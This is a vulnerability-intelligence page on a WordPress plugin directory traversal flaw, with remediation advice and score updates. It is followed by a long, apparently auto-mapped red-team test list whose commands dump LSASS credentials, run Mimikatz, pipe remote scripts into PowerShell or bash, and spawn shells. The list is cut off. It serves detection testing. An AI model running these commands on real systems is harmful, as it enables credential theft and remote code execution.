CVE-2024-8104
MEDIUM
Pub 04/09
Upd 08/04
Overview
This vulnerability is a directory traversal flaw caused by insufficient sanitization of user-supplied input in the download_file_ajax function of the WP Extended WordPress plugin. The root cause lies in improper validation of file path parameters, allowing traversal outside intended directories. The affected component is the file download handler within versions up to and including 3.0.8 of the plugin.
Vulnerability Description
The The Ultimate WordPress Toolkit – WP Extended plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.0.8 via the download_file_ajax function. This makes it possible for authenticated attackers, with subscriber access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
Impact
An authenticated attacker with subscriber-level access or higher can exploit this vulnerability to read arbitrary files on the server, potentially exposing sensitive configuration files, credentials, or other confidential data. This access can facilitate further attacks such as credential theft or lateral movement within the hosting environment. The vulnerability requires network access and valid user authentication (CVSS vector PR:L/UI:N), making exploitation feasible by low-privilege users within the WordPress site.
Solution
Users should upgrade the WP Extended plugin to a version later than 3.0.8 where this vulnerability has been addressed. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/0fad1834-0ee1-4542-a5a7-55a32861c81d) provides detailed patch information. No official workaround is documented; therefore, applying the vendor-supplied update is the recommended remediation step to eliminate the directory traversal flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WP Extended plugin for WordPress arises from a directory traversal flaw within the download_file_ajax function. This issue allows authenticated users, even those with minimal privileges such as subscribers, to manipulate file paths and gain unauthorized access to sensitive files on the server. By exploiting this vulnerability, an attacker can craft a request that traverses the directory structure, potentially accessing configuration files, database credentials, or other sensitive data stored on the server. The lack of proper input validation and sanitization in the file handling process is the root cause of this security weakness, which can lead to significant data exposure.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with subscriber-level access could utilize a crafted URL to invoke the download_file_ajax function, appending directory traversal sequences (e.g., "../") to access files outside the intended directory. For instance, by targeting critical files such as wp-config.php, an attacker could retrieve database credentials and other sensitive information. This exploitation could also be combined with social engineering tactics to gain initial access to a WordPress account, making it easier for attackers to execute their plans. The ability to read arbitrary files can lead to further attacks, including privilege escalation or the deployment of malicious payloads.
The real-world impact of this vulnerability can be severe, especially for organizations relying on the WP Extended plugin for their WordPress sites. The exposure of sensitive information can lead to data breaches, resulting in financial loss, reputational damage, and potential legal ramifications. Businesses that handle sensitive customer data may face regulatory scrutiny and penalties if they fail to protect such information adequately. Additionally, the compromised integrity of the website can lead to further exploitation, where attackers may deface the site or use it as a launching pad for attacks against other connected systems.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments can help identify and address weaknesses in the WordPress environment. Monitoring server logs for unusual access patterns or unauthorized file access attempts can also provide early warning signs of exploitation. Furthermore, organizations should ensure that they are using the latest version of the WP Extended plugin, as updates often include patches for known vulnerabilities. Implementing the principle of least privilege by restricting user access levels can also minimize the potential attack surface, limiting the ability of low-privileged users to exploit such vulnerabilities.
In conclusion, the directory traversal vulnerability in the WP Extended plugin poses a significant threat to WordPress installations. The potential for sensitive data exposure and the subsequent impact on business operations underscore the importance of proactive security measures. By understanding the technical details of the vulnerability, recognizing potential attack vectors, assessing the real-world implications, and employing effective detection and mitigation strategies, organizations can better safeguard their WordPress environments against such threats. Continuous vigilance and a commitment to security best practices are essential in maintaining the integrity and confidentiality of sensitive data in an increasingly complex digital landscape.
CSURFACE threat intelligence has updated the CVSS severity rating for CVE-2024-8104 from a moderate 6.5 to a high 8.8, reflecting a reassessment of the vulnerability’s potential impact and exploitability. This adjustment underscores a heightened risk profile, as the directory traversal flaw in the WP Extended plugin allows authenticated users with minimal privileges to access sensitive server files, increasing the likelihood of data exposure and lateral movement within compromised environments. Although our telemetry indicates that exploit activity remains stable without a marked escalation or new proof-of-concept exploits emerging, the elevated CVSS score signals that defenders should prioritize this vulnerability due to its broader implications for confidentiality and system integrity. The EPSS score remains low but steady, suggesting that while widespread exploitation is not yet prevalent, the vulnerability’s critical nature warrants continued monitoring. This recalibration of risk emphasizes the need for vigilance in patch management and access control within WordPress deployments to mitigate potential exploitation vectors before adversaries can leverage this flaw more aggressively.
Update 2 — May 21, 2026
Recent reassessment of CVE-2024-8104 has led to a downward revision of its CVSS score from 8.8 to 6.5, reflecting a more nuanced understanding of the vulnerability’s impact and exploitability. This adjustment stems from refined analysis indicating that while the directory traversal flaw allows authenticated users with subscriber-level access to read arbitrary files, the attack complexity and required privileges limit its potential for widespread, high-severity exploitation. CSURFACE threat intelligence confirms that exploit activity remains minimal, with no new proof-of-concept exploits or significant shifts in attacker behavior detected by our telemetry. The EPSS score’s stability further corroborates a steady, low likelihood of imminent mass exploitation. For defenders, this recalibration underscores a moderated threat level that prioritizes vigilance over urgency, particularly in environments where subscriber access is tightly controlled. Although the vulnerability still poses confidentiality risks, the reduced severity score suggests that immediate critical response can be balanced with routine patch management and access governance. This updated risk assessment helps organizations allocate resources more effectively, focusing on vulnerabilities with higher exploitability and impact while maintaining awareness of CVE-2024-8104’s potential in targeted scenarios.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
W
|
Wpextended | Wp Extended | All |
cpe:2.3:a:wpextended:wp_extended:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Exploited in Wild
NOT DETECTED
Ransomware
NOT ASSOCIATED
Attacker Interest
VERY LOW
Sightings
No sightings
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Applicable
Out of scope
Target OS:
Deployed role: Linux · Web Server
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
Path Traversal
100%
path_traversal
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
No techniques for the selected OS
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
108 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
No tests for the selected OS
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
T1003.001
Create Mini Dump of LSASS.exe using ProcDump
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe
Upon successful execution, you should see the following file created...
Command (CMD)
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001
Dump LSASS with createdump.exe from .Net v5
Windows
PowerShell
Privileged
Use createdump executable from .NET to create an LSASS dump.
[Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell)
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001
Dump LSASS.exe Memory through Silent Process Exit
Windows
CMD
Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a
memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism
introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001
Dump LSASS.exe Memory using NanoDump
Windows
CMD
Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.
https://github.com/helpsystems/nanodump
Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001
Dump LSASS.exe Memory using Out-Minidump.ps1
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
Upon successful execution, you should see the following file created...
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001
Dump LSASS.exe Memory using ProcDump
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
ProcDump.
Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.
If you see a message saying "procdump.exe is...
Command (CMD)
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001
Dump LSASS.exe Memory using Windows Task Manager
Windows
Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task
Manager and administrative permissions.
T1003.001
Dump LSASS.exe Memory using comsvcs.dll
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.
Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell)
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001
Dump LSASS.exe Memory using direct system calls and API unhooking
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD)
"#{dumpert_exe}"
T1003.001
Dump LSASS.exe using imported Microsoft DLLs
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump
file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell)
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001
Dump LSASS.exe using lolbin rdrleakdiag.exe
Windows
PowerShell
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks.
This can be achieved with lolbin rdrleakdiag.exe.
Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell)
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001
LSASS read with pypykatz
Windows
CMD
Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::
Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.
Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD)
"#{venv_path}\Scripts\pypykatz" live lsa
T1003.001
Offline Credential Theft With Mimikatz
Windows
CMD
Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD)
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001
Powershell Mimikatz
Windows
PowerShell
Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script.
If Mimikatz runs successfully you will see several usernames and hashes output to the screen.
Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002
Copy and Execute File with PsExec
Windows
CMD
Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD)
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002
Execute command writing output to local Admin Share
Windows
CMD
Privileged
Executes a command, writing the output to a local Admin Share.
This technique is used by post-exploitation frameworks.
Command (CMD)
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002
Map Admin Share PowerShell
Windows
PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell)
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002
Map admin share
Windows
CMD
Connecting To Remote Shares
Command (CMD)
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1021.004
ESXi - Enable SSH via PowerCLI
Windows
PowerShell
Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004
ESXi - Enable SSH via VIM-CMD
Windows
CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface.
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049
System Discovery using SharpView
Windows
PowerShell
Privileged
Get a listing of network connections, domains, domain users, and etc.
sharpview.exe located in the bin folder, an opensource red-team tool.
Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049
System Network Connections Discovery
Windows
CMD
Get a listing of network connections.
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049
System Network Connections Discovery FreeBSD, Linux & MacOS
Linux, macOS
Shell
Get a listing of network connections.
Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049
System Network Connections Discovery via PowerShell (Process Mapping)
Windows
PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
T1049
System Network Connections Discovery via sockstat (Linux, FreeBSD)
Linux
Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049
System Network Connections Discovery via ss or lsof (Linux/MacOS)
Linux, macOS
Bash
List active TCP/UDP network connections using ss, with lsof as a fallback
when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049
System Network Connections Discovery with PowerShell
Windows
PowerShell
Get a listing of network connections.
Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.001
ATHPowerShellCommandLineParameter -Command parameter variations
Windows
PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments
Windows
PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -EncodedCommand parameter variations
Windows
PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001
ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments
Windows
PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001
Abuse Nslookup with DNS Records
Windows
PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts.
[reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001
Invoke-AppPathBypass
Windows
CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened.
Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD)
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001
Mimikatz
Windows
CMD
Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (CMD)
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
T1059.001
Mimikatz - Cradlecraft PsSendKeys
Windows
PowerShell
Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell)
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001
NTFS Alternate Data Stream Access
Windows
PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell)
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001
PowerShell Command Execution
Windows
CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD)
powershell.exe -e #{obfuscated_code}
T1059.001
PowerShell Fileless Script Execution
Windows
PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that
art-marker.txt is in the folder.
Command (PowerShell)
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001
PowerShell Invoke Known Malicious Cmdlets
Windows
PowerShell
Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell)
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
T1059.001
PowerShell Session Creation and Use
Windows
PowerShell
Privileged
Connect to a remote powershell session and interact with the host.
Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell)
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001
PowerUp Invoke-AllChecks
Windows
PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001
Powershell Invoke-DownloadCradle
Windows
Manual
Provided by https://github.com/mgreen27/mgreen27.github.io
Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001
Powershell MsXml COM object - with prompt
Windows
CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed.
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001
Powershell XML requests
Windows
CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed.
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001
Powershell invoke mshta.exe download
Windows
CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!".
Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001
Run BloodHound from local disk
Windows
PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.
Successful...
Command (PowerShell)
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001
Run Bloodhound from Memory using Download Cradle
Windows
PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur.
Successful execution...
Command (PowerShell)
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001
SOAPHound - Build Cache
Windows
PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename.
src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001
SOAPHound - Dump BloodHound Data
Windows
PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory.
src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1059.004
Change login shell
Linux
Bash
Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004
Command line scripts
Linux
Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004
Command-Line Interface
Linux, macOS
Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.
Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004
Create and Execute Bash Shell Script
Linux, macOS
Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004
Creating shell using cpan command
Linux, macOS
Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
T1059.004
Current kernel information enumeration
Linux
Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004
Detecting pipe-to-shell
Linux
Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004
Environment variable scripts
Linux
Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004
Harvest SUID executable files
Linux
Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004
LinEnum tool execution
Linux
Shell
